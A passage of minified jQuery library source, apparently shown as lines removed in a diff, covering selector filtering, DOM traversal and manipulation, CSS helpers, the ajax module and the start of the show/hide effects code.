-TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&
-"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);
-return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===
-g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2===
-0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+
-q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>=
-0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="?
-k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};
-try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===
-h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END,
-l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id");
-return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href",
-2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===
-0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[],
-l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a,
-function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=
-0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)>
--1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),
-a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},
-nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):
-e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==
-b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],
-col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)},
-wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?
-d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,
-false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&
-!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)||
-["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,
-b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j===
-"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n,
-Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&&
-this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j===
-"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild);
-j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i,
-Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})};
-c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a,
-b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&
-a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left=
-a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb=
-J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=
-c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&
-(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,
-b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}:
-function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}
-function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||
-N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&
-c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&&
-A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept",
-e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)?
-"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e,
-w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=
-f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n,
-function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/,
-W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();
